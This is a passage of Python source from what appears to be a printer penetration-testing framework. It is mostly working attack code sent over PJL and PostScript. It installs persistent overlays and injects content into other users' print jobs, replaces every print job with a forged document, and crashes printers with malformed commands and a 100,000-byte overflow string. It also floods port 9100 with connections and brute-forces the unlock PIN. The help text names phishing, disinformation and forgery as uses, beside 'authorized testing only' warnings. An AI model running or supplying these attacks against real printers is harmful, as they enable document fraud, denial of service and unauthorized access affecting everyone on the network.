output().warning("All documents will include your overlay content!")
|
|
1912
|
+
output().warning("═" * 70)
|
|
1913
|
+
|
|
1914
|
+
try:
|
|
1915
|
+
confirm = input("Continue with overlay attack? (yes/no): ")
|
|
1916
|
+
if confirm.lower() != 'yes':
|
|
1917
|
+
output().info("Overlay attack cancelled")
|
|
1918
|
+
return
|
|
1919
|
+
except (EOFError, KeyboardInterrupt):
|
|
1920
|
+
output().info("Overlay attack cancelled")
|
|
1921
|
+
return
|
|
1922
|
+
|
|
1923
|
+
# Upload overlay to printer
|
|
1924
|
+
overlay_path = "0:/overlay.eps"
|
|
1925
|
+
size = self.put(overlay_path, overlay_data)
|
|
1926
|
+
|
|
1927
|
+
if size == c.NONEXISTENT:
|
|
1928
|
+
output().errmsg("Failed to upload overlay file")
|
|
1929
|
+
return
|
|
1930
|
+
|
|
1931
|
+
output().info(f"✓ Overlay uploaded to {overlay_path} ({size} bytes)")
|
|
1932
|
+
|
|
1933
|
+
# Configure printer to use overlay (varies by manufacturer)
|
|
1934
|
+
# Try multiple methods
|
|
1935
|
+
|
|
1936
|
+
# Method 1: HP PJL commands
|
|
1937
|
+
self.cmd("@PJL SET OVERLAY=ON")
|
|
1938
|
+
self.cmd(f"@PJL SET OVERLAYFILE=\"{overlay_path}\"")
|
|
1939
|
+
output().info("✓ Overlay configured via PJL (HP method)")
|
|
1940
|
+
|
|
1941
|
+
# Method 2: PostScript setpagedevice
|
|
1942
|
+
ps_config = f"""
|
|
1943
|
+
%!PS-Adobe-3.0
|
|
1944
|
+
<< /BeginPage {{
|
|
1945
|
+
gsave
|
|
1946
|
+
({overlay_path}) run
|
|
1947
|
+
grestore
|
|
1948
|
+
}} >> setpagedevice
|
|
1949
|
+
"""
|
|
1950
|
+
config_path = "0:/system/overlay_config.ps"
|
|
1951
|
+
self.put(config_path, ps_config.encode())
|
|
1952
|
+
output().info(f"✓ PostScript config uploaded to {config_path}")
|
|
1953
|
+
|
|
1954
|
+
# Method 3: Set as startup job
|
|
1955
|
+
self.cmd(f"@PJL SET STARTUPJOB=\"{config_path}\"")
|
|
1956
|
+
|
|
1957
|
+
output().info("✓ Overlay attack installed successfully!")
|
|
1958
|
+
output().warning("⚠ All future print jobs will include the overlay!")
|
|
1959
|
+
output().info("To remove: Use 'overlay_remove' command or factory reset")
|
|
1960
|
+
|
|
1961
|
+
def help_overlay(self):
|
|
1962
|
+
"""Overlay attack - add watermark to all print jobs"""
|
|
1963
|
+
print()
|
|
1964
|
+
print("overlay - Overlay attack (add watermark to all print jobs)")
|
|
1965
|
+
print("=" * 70)
|
|
1966
|
+
print("DESCRIPTION:")
|
|
1967
|
+
print(" Installs an overlay (watermark) that will be printed on ALL future")
|
|
1968
|
+
print(" documents. The overlay can be used for:")
|
|
1969
|
+
print(" - Adding watermarks (e.g., 'CONFIDENTIAL')")
|
|
1970
|
+
print(" - Phishing attacks (fake headers/footers)")
|
|
1971
|
+
print(" - Disinformation campaigns")
|
|
1972
|
+
print(" - Document manipulation")
|
|
1973
|
+
print()
|
|
1974
|
+
print("USAGE:")
|
|
1975
|
+
print(" overlay <eps_file>")
|
|
1976
|
+
print()
|
|
1977
|
+
print("EXAMPLES:")
|
|
1978
|
+
print(" overlay watermark.eps # Add watermark overlay")
|
|
1979
|
+
print(" overlay phishing.eps # Phishing attack overlay")
|
|
1980
|
+
print(" overlay logo.eps # Add company logo")
|
|
1981
|
+
print()
|
|
1982
|
+
print("FILE FORMAT:")
|
|
1983
|
+
print(" - EPS (Encapsulated PostScript) recommended")
|
|
1984
|
+
print(" - PostScript (.ps) also works")
|
|
1985
|
+
print(" - File should contain visual elements to overlay")
|
|
1986
|
+
print()
|
|
1987
|
+
print("SECURITY IMPACT: CRITICAL")
|
|
1988
|
+
print(" - Affects ALL users' documents")
|
|
1989
|
+
print(" - Persistent until removed")
|
|
1990
|
+
print(" - Can be used for social engineering")
|
|
1991
|
+
print(" - Hard to detect by users")
|
|
1992
|
+
print()
|
|
1993
|
+
print("REMOVAL:")
|
|
1994
|
+
print(" - Use 'overlay_remove' command")
|
|
1995
|
+
print(" - Or factory reset")
|
|
1996
|
+
print(" - Or delete overlay file and restart")
|
|
1997
|
+
print()
|
|
1998
|
+
print("NOTES:")
|
|
1999
|
+
print(" - Requires confirmation")
|
|
2000
|
+
print(" - Works on most HP, Lexmark, Canon printers")
|
|
2001
|
+
print(" - May not work on all printer models")
|
|
2002
|
+
print()
|
|
2003
|
+
|
|
2004
|
+
def do_overlay_remove(self, arg):
|
|
2005
|
+
"""Remove overlay attack"""
|
|
2006
|
+
output().info("Removing overlay attack...")
|
|
2007
|
+
|
|
2008
|
+
try:
|
|
2009
|
+
# Method 1: Disable overlay
|
|
2010
|
+
self.cmd("@PJL SET OVERLAY=OFF")
|
|
2011
|
+
output().info("✓ Overlay disabled via PJL")
|
|
2012
|
+
|
|
2013
|
+
# Method 2: Delete overlay files
|
|
2014
|
+
self.cmd("@PJL FSDELETE NAME=\"0:/overlay.eps\"")
|
|
2015
|
+
self.cmd("@PJL FSDELETE NAME=\"0:/system/overlay_config.ps\"")
|
|
2016
|
+
output().info("✓ Overlay files deleted")
|
|
2017
|
+
|
|
2018
|
+
# Method 3: Clear startup job
|
|
2019
|
+
self.cmd("@PJL SET STARTUPJOB=\"\"")
|
|
2020
|
+
output().info("✓ Startup job cleared")
|
|
2021
|
+
|
|
2022
|
+
output().info("✓ Overlay attack removed successfully!")
|
|
2023
|
+
output().info("Restart printer to ensure complete removal")
|
|
2024
|
+
|
|
2025
|
+
except Exception as e:
|
|
2026
|
+
output().errmsg(f"Overlay removal failed: {e}")
|
|
2027
|
+
|
|
2028
|
+
def help_overlay_remove(self):
|
|
2029
|
+
"""Remove overlay attack"""
|
|
2030
|
+
print()
|
|
2031
|
+
print("overlay_remove - Remove overlay attack from printer")
|
|
2032
|
+
print("=" * 70)
|
|
2033
|
+
print("DESCRIPTION:")
|
|
2034
|
+
print(" Removes a previously installed overlay attack.")
|
|
2035
|
+
print(" Disables overlay, deletes overlay files, and clears startup jobs.")
|
|
2036
|
+
print()
|
|
2037
|
+
print("USAGE:")
|
|
2038
|
+
print(" overlay_remove")
|
|
2039
|
+
print()
|
|
2040
|
+
print("EXAMPLES:")
|
|
2041
|
+
print(" overlay_remove # Remove overlay attack")
|
|
2042
|
+
print()
|
|
2043
|
+
print("NOTES:")
|
|
2044
|
+
print(" - Reverses 'overlay' command")
|
|
2045
|
+
print(" - Restart printer recommended after removal")
|
|
2046
|
+
print(" - Factory reset also removes overlay")
|
|
2047
|
+
print()
|
|
2048
|
+
|
|
2049
|
+
def do_cross(self, arg):
|
|
2050
|
+
"""Cross-site printing - inject content into other users' print jobs"""
|
|
2051
|
+
if not arg:
|
|
2052
|
+
output().errmsg("Usage: cross <content_file>")
|
|
2053
|
+
output().info("Injects malicious content into print jobs from other users")
|
|
2054
|
+
output().info("Example: cross phishing_header.ps")
|
|
2055
|
+
return
|
|
2056
|
+
|
|
2057
|
+
if not os.path.exists(arg):
|
|
2058
|
+
output().errmsg(f"File not found: {arg}")
|
|
2059
|
+
return
|
|
2060
|
+
|
|
2061
|
+
content = file().read(arg)
|
|
2062
|
+
if not content:
|
|
2063
|
+
return
|
|
2064
|
+
|
|
2065
|
+
output().warning("═" * 70)
|
|
2066
|
+
output().warning("DANGER: Cross-site printing attack!")
|
|
2067
|
+
output().warning("This will inject your content into OTHER USERS' print jobs!")
|
|
2068
|
+
output().warning("Highly visible and easily detectable!")
|
|
2069
|
+
output().warning("═" * 70)
|
|
2070
|
+
|
|
2071
|
+
try:
|
|
2072
|
+
confirm = input("Continue with cross-site printing? (yes/no): ")
|
|
2073
|
+
if confirm.lower() != 'yes':
|
|
2074
|
+
output().info("Cross-site printing attack cancelled")
|
|
2075
|
+
return
|
|
2076
|
+
except (EOFError, KeyboardInterrupt):
|
|
2077
|
+
output().info("Attack cancelled")
|
|
2078
|
+
return
|
|
2079
|
+
|
|
2080
|
+
# Enable job retention first
|
|
2081
|
+
self.cmd("@PJL SET JOBRETENTION=ON")
|
|
2082
|
+
output().info("✓ Job retention enabled")
|
|
2083
|
+
|
|
2084
|
+
# Create PostScript injection code
|
|
2085
|
+
if isinstance(content, bytes):
|
|
2086
|
+
content_str = content.decode('utf-8', errors='ignore')
|
|
2087
|
+
else:
|
|
2088
|
+
content_str = content
|
|
2089
|
+
|
|
2090
|
+
ps_injection = f"""
|
|
2091
|
+
%!PS-Adobe-3.0
|
|
2092
|
+
<< /BeginPage {{
|
|
2093
|
+
gsave
|
|
2094
|
+
100 750 moveto
|
|
2095
|
+
/Helvetica findfont 12 scalefont setfont
|
|
2096
|
+
({content_str[:100]}) show
|
|
2097
|
+
grestore
|
|
2098
|
+
}} >> setpagedevice
|
|
2099
|
+
"""
|
|
2100
|
+
|
|
2101
|
+
# Upload injection code
|
|
2102
|
+
inject_path = "0:/system/inject.ps"
|
|
2103
|
+
self.put(inject_path, ps_injection.encode())
|
|
2104
|
+
output().info(f"✓ Injection code uploaded to {inject_path}")
|
|
2105
|
+
|
|
2106
|
+
# Configure to run on all jobs
|
|
2107
|
+
self.cmd(f"@PJL SET JOBINJECT=\"{inject_path}\"")
|
|
2108
|
+
self.cmd("@PJL SET JOBINTERCEPT=ON")
|
|
2109
|
+
|
|
2110
|
+
# Alternative method: Enter PostScript and set page device
|
|
2111
|
+
self.cmd("@PJL ENTER LANGUAGE=POSTSCRIPT")
|
|
2112
|
+
self.send(ps_injection.encode())
|
|
2113
|
+
self.send(b"\x04") # EOT
|
|
2114
|
+
|
|
2115
|
+
output().info("✓ Cross-site printing attack installed!")
|
|
2116
|
+
output().warning("⚠ Your content will appear in other users' print jobs!")
|
|
2117
|
+
|
|
2118
|
+
def help_cross(self):
|
|
2119
|
+
"""Cross-site printing attack"""
|
|
2120
|
+
print()
|
|
2121
|
+
print("cross - Cross-site printing attack")
|
|
2122
|
+
print("=" * 70)
|
|
2123
|
+
print("DESCRIPTION:")
|
|
2124
|
+
print(" Injects malicious content into print jobs from other users.")
|
|
2125
|
+
print(" Your content will appear in documents printed by others.")
|
|
2126
|
+
print(" Can be used for:")
|
|
2127
|
+
print(" - Phishing attacks (fake headers with malicious links)")
|
|
2128
|
+
print(" - Disinformation campaigns")
|
|
2129
|
+
print(" - Social engineering")
|
|
2130
|
+
print(" - Internal attacks")
|
|
2131
|
+
print()
|
|
2132
|
+
print("USAGE:")
|
|
2133
|
+
print(" cross <content_file>")
|
|
2134
|
+
print()
|
|
2135
|
+
print("EXAMPLES:")
|
|
2136
|
+
print(" cross phishing_header.ps # Inject phishing header")
|
|
2137
|
+
print(" cross malicious_text.txt # Inject text content")
|
|
2138
|
+
print(" cross fake_footer.eps # Inject fake footer")
|
|
2139
|
+
print()
|
|
2140
|
+
print("FILE FORMAT:")
|
|
2141
|
+
print(" - PostScript (.ps) recommended")
|
|
2142
|
+
print(" - Plain text (.txt) also works")
|
|
2143
|
+
print(" - EPS (.eps) for graphics")
|
|
2144
|
+
print()
|
|
2145
|
+
print("SECURITY IMPACT: CRITICAL")
|
|
2146
|
+
print(" - Affects all users on the network")
|
|
2147
|
+
print(" - Can be used for phishing")
|
|
2148
|
+
print(" - Very visible and detectable")
|
|
2149
|
+
print(" - May violate laws (use only for authorized testing!)")
|
|
2150
|
+
print()
|
|
2151
|
+
print("DETECTION:")
|
|
2152
|
+
print(" - Easily detected by affected users")
|
|
2153
|
+
print(" - Appears in printed documents")
|
|
2154
|
+
print(" - Logs may show unusual activity")
|
|
2155
|
+
print()
|
|
2156
|
+
print("REMOVAL:")
|
|
2157
|
+
print(" - Factory reset")
|
|
2158
|
+
print(" - Delete injection files")
|
|
2159
|
+
print(" - Restart printer")
|
|
2160
|
+
print()
|
|
2161
|
+
print("⚠ WARNING: For authorized security testing ONLY!")
|
|
2162
|
+
print()
|
|
2163
|
+
|
|
2164
|
+
def do_replace(self, arg):
|
|
2165
|
+
"""Replace attack - substitute entire print job content"""
|
|
2166
|
+
if not arg:
|
|
2167
|
+
output().errmsg("Usage: replace <replacement_file>")
|
|
2168
|
+
output().info("Replaces ALL print jobs with your specified content")
|
|
2169
|
+
output().info("Example: replace fake_document.ps")
|
|
2170
|
+
return
|
|
2171
|
+
|
|
2172
|
+
if not os.path.exists(arg):
|
|
2173
|
+
output().errmsg(f"File not found: {arg}")
|
|
2174
|
+
return
|
|
2175
|
+
|
|
2176
|
+
replacement = file().read(arg)
|
|
2177
|
+
if not replacement:
|
|
2178
|
+
return
|
|
2179
|
+
|
|
2180
|
+
output().warning("═" * 70)
|
|
2181
|
+
output().warning("EXTREME DANGER: Document replacement attack!")
|
|
2182
|
+
output().warning("ALL print jobs will be COMPLETELY REPLACED with your content!")
|
|
2183
|
+
output().warning("Users will print YOUR document instead of theirs!")
|
|
2184
|
+
output().warning("This is a SEVERE attack that may have legal consequences!")
|
|
2185
|
+
output().warning("═" * 70)
|
|
2186
|
+
|
|
2187
|
+
try:
|
|
2188
|
+
confirm = input("Continue with replacement attack? (type 'YES I UNDERSTAND'): ")
|
|
2189
|
+
if confirm != 'YES I UNDERSTAND':
|
|
2190
|
+
output().info("Replace attack cancelled")
|
|
2191
|
+
return
|
|
2192
|
+
except (EOFError, KeyboardInterrupt):
|
|
2193
|
+
output().info("Attack cancelled")
|
|
2194
|
+
return
|
|
2195
|
+
|
|
2196
|
+
# Upload replacement content
|
|
2197
|
+
replace_path = "0:/system/replacement.ps"
|
|
2198
|
+
size = self.put(replace_path, replacement)
|
|
2199
|
+
if size == c.NONEXISTENT:
|
|
2200
|
+
output().errmsg("Failed to upload replacement file")
|
|
2201
|
+
return
|
|
2202
|
+
|
|
2203
|
+
output().info(f"✓ Replacement uploaded ({size} bytes)")
|
|
2204
|
+
|
|
2205
|
+
# Configure job replacement (varies by printer model)
|
|
2206
|
+
# HP method
|
|
2207
|
+
self.cmd("@PJL SET JOBREPLACE=ON")
|
|
2208
|
+
self.cmd(f"@PJL SET JOBREPLACEFILE=\"{replace_path}\"")
|
|
2209
|
+
|
|
2210
|
+
# Alternative: PostScript job server
|
|
2211
|
+
ps_replace = f"""
|
|
2212
|
+
%!PS-Adobe-3.0
|
|
2213
|
+
statusdict begin
|
|
2214
|
+
/jobserver {{
|
|
2215
|
+
({replace_path}) run
|
|
2216
|
+
}} def
|
|
2217
|
+
end
|
|
2218
|
+
"""
|
|
2219
|
+
self.put("0:/system/jobserver.ps", ps_replace.encode())
|
|
2220
|
+
self.cmd("@PJL SET JOBSERVER=\"0:/system/jobserver.ps\"")
|
|
2221
|
+
|
|
2222
|
+
output().info("✓ Replace attack installed!")
|
|
2223
|
+
output().warning("⚠ ALL print jobs will now be replaced with your document!")
|
|
2224
|
+
output().warning("⚠ This attack is HIGHLY visible and detectable!")
|
|
2225
|
+
|
|
2226
|
+
def help_replace(self):
|
|
2227
|
+
"""Replace attack - substitute print job content"""
|
|
2228
|
+
print()
|
|
2229
|
+
print("replace - Replace attack (substitute entire job content)")
|
|
2230
|
+
print("=" * 70)
|
|
2231
|
+
print("DESCRIPTION:")
|
|
2232
|
+
print(" Replaces ALL print jobs with your specified document.")
|
|
2233
|
+
print(" Users will print YOUR document instead of their own.")
|
|
2234
|
+
print(" EXTREMELY dangerous and easily detectable attack.")
|
|
2235
|
+
print()
|
|
2236
|
+
print("USAGE:")
|
|
2237
|
+
print(" replace <replacement_file>")
|
|
2238
|
+
print()
|
|
2239
|
+
print("EXAMPLES:")
|
|
2240
|
+
print(" replace fake_invoice.ps # Replace all jobs with fake invoice")
|
|
2241
|
+
print(" replace phishing_doc.pdf # Replace with phishing document")
|
|
2242
|
+
print()
|
|
2243
|
+
print("FILE FORMAT:")
|
|
2244
|
+
print(" - PostScript (.ps) recommended")
|
|
2245
|
+
print(" - PDF (.pdf) may work on some printers")
|
|
2246
|
+
print(" - PCL (.pcl) for PCL printers")
|
|
2247
|
+
print()
|
|
2248
|
+
print("SECURITY IMPACT: EXTREME - CRITICAL")
|
|
2249
|
+
print(" - Complete job substitution")
|
|
2250
|
+
print(" - Users print wrong documents")
|
|
2251
|
+
print(" - Potential for fraud/forgery")
|
|
2252
|
+
print(" - May violate multiple laws")
|
|
2253
|
+
print()
|
|
2254
|
+
print("DETECTION:")
|
|
2255
|
+
print(" - IMMEDIATELY detected by users")
|
|
2256
|
+
print(" - Printed output is wrong")
|
|
2257
|
+
print(" - Will cause investigation")
|
|
2258
|
+
print()
|
|
2259
|
+
print("LEGAL WARNING:")
|
|
2260
|
+
print(" ⚠ This attack may constitute:")
|
|
2261
|
+
print(" - Computer fraud")
|
|
2262
|
+
print(" - Document forgery")
|
|
2263
|
+
print(" - Unauthorized access")
|
|
2264
|
+
print(" ⚠ Use ONLY for authorized security testing!")
|
|
2265
|
+
print(" ⚠ Obtain written permission before use!")
|
|
2266
|
+
print()
|
|
2267
|
+
print("REMOVAL:")
|
|
2268
|
+
print(" - Factory reset required")
|
|
2269
|
+
print(" - Delete all system files")
|
|
2270
|
+
print(" - Contact printer administrator")
|
|
2271
|
+
print()
|
|
2272
|
+
|
|
2273
|
+
# ====================================================================
|
|
2274
|
+
# 💥 DENIAL OF SERVICE ATTACKS (Additional)
|
|
2275
|
+
# ====================================================================
|
|
2276
|
+
|
|
2277
|
+
def do_hang(self, arg):
|
|
2278
|
+
"""Hang printer with malformed PJL commands"""
|
|
2279
|
+
output().warning("═" * 70)
|
|
2280
|
+
output().warning("DANGER: Printer hang attack!")
|
|
2281
|
+
output().warning("This will attempt to CRASH/HANG the printer!")
|
|
2282
|
+
output().warning("Printer may require POWER CYCLE to recover!")
|
|
2283
|
+
output().warning("═" * 70)
|
|
2284
|
+
|
|
2285
|
+
try:
|
|
2286
|
+
confirm = input("Continue with hang attack? (yes/no): ")
|
|
2287
|
+
if confirm.lower() != 'yes':
|
|
2288
|
+
output().info("Hang attack cancelled")
|
|
2289
|
+
return
|
|
2290
|
+
except (EOFError, KeyboardInterrupt):
|
|
2291
|
+
output().info("Attack cancelled")
|
|
2292
|
+
return
|
|
2293
|
+
|
|
2294
|
+
output().info("Launching hang attack...")
|
|
2295
|
+
output().info("Multiple attack vectors will be attempted...")
|
|
2296
|
+
|
|
2297
|
+
# Vector 1: Invalid language
|
|
2298
|
+
output().info("Vector 1: Invalid ENTER LANGUAGE")
|
|
2299
|
+
self.cmd("@PJL ENTER LANGUAGE=INVALID_LANGUAGE", False)
|
|
2300
|
+
time.sleep(0.5)
|
|
2301
|
+
|
|
2302
|
+
# Vector 2: Conflicting commands
|
|
2303
|
+
output().info("Vector 2: Conflicting commands")
|
|
2304
|
+
self.cmd("@PJL SET LANGUAGE=UNKNOWN", False)
|
|
2305
|
+
self.cmd("@PJL INITIALIZE", False)
|
|
2306
|
+
time.sleep(0.5)
|
|
2307
|
+
|
|
2308
|
+
# Vector 3: Rapid DEFAULT/RESET
|
|
2309
|
+
output().info("Vector 3: Rapid factory reset loop")
|
|
2310
|
+
for i in range(10):
|
|
2311
|
+
self.cmd("@PJL DEFAULT", False)
|
|
2312
|
+
self.cmd("@PJL RESET", False)
|
|
2313
|
+
time.sleep(0.1)
|
|
2314
|
+
|
|
2315
|
+
# Vector 4: Invalid file operations
|
|
2316
|
+
output().info("Vector 4: Invalid filesystem operations")
|
|
2317
|
+
self.cmd("@PJL FSINIT VOLUME=\"99:\"", False)
|
|
2318
|
+
self.cmd("@PJL FSDELETE NAME=\"/../../../../system\"", False)
|
|
2319
|
+
|
|
2320
|
+
# Vector 5: Buffer overflow attempt
|
|
2321
|
+
output().info("Vector 5: Buffer overflow attempts")
|
|
2322
|
+
huge_string = "A" * 100000
|
|
2323
|
+
self.cmd(f"@PJL SET INVALIDVAR=\"{huge_string}\"", False)
|
|
2324
|
+
|
|
2325
|
+
output().info("✓ Hang attack vectors sent")
|
|
2326
|
+
output().warning("⚠ Printer may be unresponsive - check printer status")
|
|
2327
|
+
output().warning("⚠ Power cycle may be required")
|
|
2328
|
+
|
|
2329
|
+
def help_hang(self):
|
|
2330
|
+
"""Hang printer with malformed commands"""
|
|
2331
|
+
print()
|
|
2332
|
+
print("hang - Hang/crash printer attack")
|
|
2333
|
+
print("=" * 70)
|
|
2334
|
+
print("DESCRIPTION:")
|
|
2335
|
+
print(" Attempts to hang or crash the printer using malformed PJL commands.")
|
|
2336
|
+
print(" Multiple attack vectors are used:")
|
|
2337
|
+
print(" - Invalid ENTER LANGUAGE commands")
|
|
2338
|
+
print(" - Conflicting control commands")
|
|
2339
|
+
print(" - Rapid factory reset loops")
|
|
2340
|
+
print(" - Invalid filesystem operations")
|
|
2341
|
+
print(" - Buffer overflow attempts")
|
|
2342
|
+
print()
|
|
2343
|
+
print("USAGE:")
|
|
2344
|
+
print(" hang")
|
|
2345
|
+
print()
|
|
2346
|
+
print("EXAMPLES:")
|
|
2347
|
+
print(" hang # Execute hang attack")
|
|
2348
|
+
print()
|
|
2349
|
+
print("SECURITY IMPACT: HIGH")
|
|
2350
|
+
print(" - Printer becomes unresponsive")
|
|
2351
|
+
print(" - Denial of service")
|
|
2352
|
+
print(" - May require power cycle")
|
|
2353
|
+
print(" - Can affect all network users")
|
|
2354
|
+
print()
|
|
2355
|
+
print("RECOVERY:")
|
|
2356
|
+
print(" - Power cycle printer")
|
|
2357
|
+
print(" - Disconnect from network")
|
|
2358
|
+
print(" - Factory reset may be needed")
|
|
2359
|
+
print()
|
|
2360
|
+
print("NOTES:")
|
|
2361
|
+
print(" - Requires confirmation")
|
|
2362
|
+
print(" - Different printers vulnerable to different vectors")
|
|
2363
|
+
print(" - Success rate varies by model/firmware")
|
|
2364
|
+
print(" - Use only for authorized security testing")
|
|
2365
|
+
print()
|
|
2366
|
+
|
|
2367
|
+
def do_dos_connections(self, arg):
|
|
2368
|
+
"""DoS attack via connection flooding"""
|
|
2369
|
+
count = conv().int(arg) or 100
|
|
2370
|
+
|
|
2371
|
+
output().warning("═" * 70)
|
|
2372
|
+
from utils.ports import PortConfig as _PC
|
|
2373
|
+
_dos_port = _PC.resolve('raw')
|
|
2374
|
+
output().warning(f"DoS attack: Flooding {count} connections to {self.target}:{_dos_port}")
|
|
2375
|
+
output().warning("This will make the printer unavailable to legitimate users!")
|
|
2376
|
+
output().warning("═" * 70)
|
|
2377
|
+
|
|
2378
|
+
try:
|
|
2379
|
+
confirm = input(f"Flood {count} connections? (yes/no): ")
|
|
2380
|
+
if confirm.lower() != 'yes':
|
|
2381
|
+
output().info("Connection flooding cancelled")
|
|
2382
|
+
return
|
|
2383
|
+
except (EOFError, KeyboardInterrupt):
|
|
2384
|
+
output().info("Attack cancelled")
|
|
2385
|
+
return
|
|
2386
|
+
|
|
2387
|
+
import threading
|
|
2388
|
+
|
|
2389
|
+
connections = []
|
|
2390
|
+
success_count = 0
|
|
2391
|
+
|
|
2392
|
+
def create_connection(conn_id):
|
|
2393
|
+
nonlocal success_count
|
|
2394
|
+
try:
|
|
2395
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
2396
|
+
sock.settimeout(5)
|
|
2397
|
+
result = sock.connect_ex((self.target, _dos_port))
|
|
2398
|
+
if result == 0:
|
|
2399
|
+
sock.send(b"@PJL\r\n")
|
|
2400
|
+
connections.append(sock)
|
|
2401
|
+
success_count += 1
|
|
2402
|
+
if success_count % 10 == 0:
|
|
2403
|
+
output().info(f"✓ {success_count} connections established...")
|
|
2404
|
+
time.sleep(30) # Hold connection
|
|
2405
|
+
sock.close()
|
|
2406
|
+
except Exception as e:
|
|
2407
|
+
if self.debug:
|
|
2408
|
+
output().errmsg(f"Connection {conn_id} failed: {e}")
|
|
2409
|
+
|
|
2410
|
+
output().info(f"Launching {count} connection threads...")
|
|
2411
|
+
threads = []
|
|
2412
|
+
|
|
2413
|
+
for i in range(count):
|
|
2414
|
+
t = threading.Thread(target=create_connection, args=(i,))
|
|
2415
|
+
t.daemon = True
|
|
2416
|
+
t.start()
|
|
2417
|
+
threads.append(t)
|
|
2418
|
+
time.sleep(0.01) # Small delay to avoid overwhelming local system
|
|
2419
|
+
|
|
2420
|
+
output().info(f"✓ {count} connection threads launched")
|
|
2421
|
+
output().info("Connections will be held for 30 seconds...")
|
|
2422
|
+
output().info("Press Ctrl+C to abort")
|
|
2423
|
+
|
|
2424
|
+
try:
|
|
2425
|
+
# Wait for threads to complete
|
|
2426
|
+
for t in threads:
|
|
2427
|
+
t.join(timeout=35)
|
|
2428
|
+
except KeyboardInterrupt:
|
|
2429
|
+
output().warning("Connection flooding interrupted by user")
|
|
2430
|
+
|
|
2431
|
+
# Close all connections
|
|
2432
|
+
for sock in connections:
|
|
2433
|
+
try:
|
|
2434
|
+
sock.close()
|
|
2435
|
+
except:
|
|
2436
|
+
pass
|
|
2437
|
+
|
|
2438
|
+
output().info(f"✓ DoS attack complete: {success_count}/{count} connections succeeded")
|
|
2439
|
+
|
|
2440
|
+
def help_dos_connections(self):
|
|
2441
|
+
"""DoS via connection flooding"""
|
|
2442
|
+
print()
|
|
2443
|
+
print("dos_connections - Denial of service via connection flooding")
|
|
2444
|
+
print("=" * 70)
|
|
2445
|
+
print("DESCRIPTION:")
|
|
2446
|
+
print(" Floods the printer with multiple simultaneous TCP connections")
|
|
2447
|
+
print(" to port 9100, exhausting available connection slots and making")
|
|
2448
|
+
print(" the printer unavailable to legitimate users.")
|
|
2449
|
+
print()
|
|
2450
|
+
print("USAGE:")
|
|
2451
|
+
print(" dos_connections [count]")
|
|
2452
|
+
print()
|
|
2453
|
+
print("EXAMPLES:")
|
|
2454
|
+
print(" dos_connections # Default: 100 connections")
|
|
2455
|
+
print(" dos_connections 50 # Flood 50 connections")
|
|
2456
|
+
print(" dos_connections 200 # Flood 200 connections")
|
|
2457
|
+
print()
|
|
2458
|
+
print("SECURITY IMPACT: HIGH")
|
|
2459
|
+
print(" - Printer becomes unavailable")
|
|
2460
|
+
print(" - Legitimate users cannot print")
|
|
2461
|
+
print(" - Network resources exhausted")
|
|
2462
|
+
print(" - May affect printer stability")
|
|
2463
|
+
print()
|
|
2464
|
+
print("RECOVERY:")
|
|
2465
|
+
print(" - Connections auto-close after 30 seconds")
|
|
2466
|
+
print(" - Or press Ctrl+C to abort early")
|
|
2467
|
+
print(" - Restart printer if needed")
|
|
2468
|
+
print()
|
|
2469
|
+
print("NOTES:")
|
|
2470
|
+
print(" - Requires confirmation")
|
|
2471
|
+
print(" - Default: 100 connections")
|
|
2472
|
+
print(" - Connections held for 30 seconds")
|
|
2473
|
+
print(" - Can be interrupted with Ctrl+C")
|
|
2474
|
+
print()
|
|
2475
|
+
|
|
2476
|
+
# ====================================================================
|
|
2477
|
+
# 🔐 CREDENTIAL ATTACKS (Advanced)
|
|
2478
|
+
# ====================================================================
|
|
2479
|
+
|
|
2480
|
+
def do_unlock_bruteforce(self, arg):
|
|
2481
|
+
"""Brute force printer unlock PIN"""
|
|
2482
|
+
start = 1
|
|
2483
|
+
end = 65535
|
|
2484
|
+
|
|
2485
|
+
if arg:
|
|
2486
|
+
try:
|
|
2487
|
+
start = int(arg)
|
|
2488
|
+
except:
|
|
2489
|
+
output().errmsg("Invalid start PIN")
|
|
2490
|
+
return
|
|
2491
|
+
|
|
2492
|
+
output().warning("═" * 70)
|
|
2493
|
+
output().warning(f"PIN Brute Force: Testing PINs from {start} to {end}")
|
|
2494
|
+
output().warning(f"This may take a LONG time ({end-start+1} attempts)")
|
|
2495
|
+
output().warning("Printer may lock after too many attempts!")
|
|
2496
|
+
output().warning("═" * 70)
|
|
2497
|
+
|
|
2498
|
+
try:
|
|
2499
|
+
confirm = input("Continue with brute force? (yes/no): ")
|
|
2500
|
+
if confirm.lower() != 'yes':
|
|
2501
|
+
output().info("Brute force cancelled")
|
|
2502
|
+
return
|
|
2503
|
+
except (EOFError, KeyboardInterrupt):
|
|
2504
|
+
output().info("Brute force cancelled")
|
|
2505
|
+
return
|
|
2506
|
+
|
|
2507
|
+
output().info(f"Starting brute force from PIN {start}...")
|
|
2508
|
+
output().info("Press Ctrl+C to stop")
|
|
2509
|
+
|
|
2510
|
+
found = False
|
|
2511
|
+
try:
|
|
2512
|
+
for pin in range(start, end + 1):
|
|
2513
|
+
# Progress indicator
|
|
2514
|
+
if pin % 100 == 0:
|
|
2515
|
+
progress = ((pin - start) * 100) // (end - start + 1)
|
|
2516
|
+
output().info(f"Progress: PIN {pin} ({progress}%)")
|
|
2517
|
+
|
|
2518
|
+
# Try to unlock with this PIN
|
|
2519
|
+
try:
|
|
2520
|
+
self.cmd(f"@PJL SET LOCKPIN={pin}")
|
|
2521
|
+
time.sleep(0.1) # Small delay to avoid overwhelming printer
|
|
2522
|
+
|
|
2523
|
+
# Verify if unlock was successful
|
|
2524
|
+
result = self.cmd("@PJL INFO CONFIG")
|
|
2525
|
+
if result and ("LOCKPIN=0" in result or "LOCKED=OFF" in result.upper()):
|
|
2526
|
+
output().info("")
|
|
2527
|
+
output().info("=" * 70)
|
|
2528
|
+
output().info(f"✓ SUCCESS! PIN found: {pin}")
|
|
2529
|
+
output().info("=" * 70)
|
|
2530
|
+
found = True
|
|
2531
|
+
break
|
|
2532
|
+
|
|
2533
|
+
except KeyboardInterrupt:
|
|
2534
|
+
raise
|
|
2535
|
+
except Exception as e:
|
|
2536
|
+
if self.debug:
|
|
2537
|
+
output().errmsg(f"Error testing PIN {pin}: {e}")
|
|
2538
|
+
continue
|
|
2539
|
+
|
|
2540
|
+
except KeyboardInterrupt:
|
|
2541
|
+
output().warning(f"Brute force interrupted at PIN {pin}")
|
|
2542
|
+
output().info(f"Tested {pin - start} PINs")
|
|
2543
|
+
|
|
2544
|
+
if not found and not KeyboardInterrupt:
|
|
2545
|
+
output().errmsg(f"PIN not found in range {start}-{end}")
|
|
2546
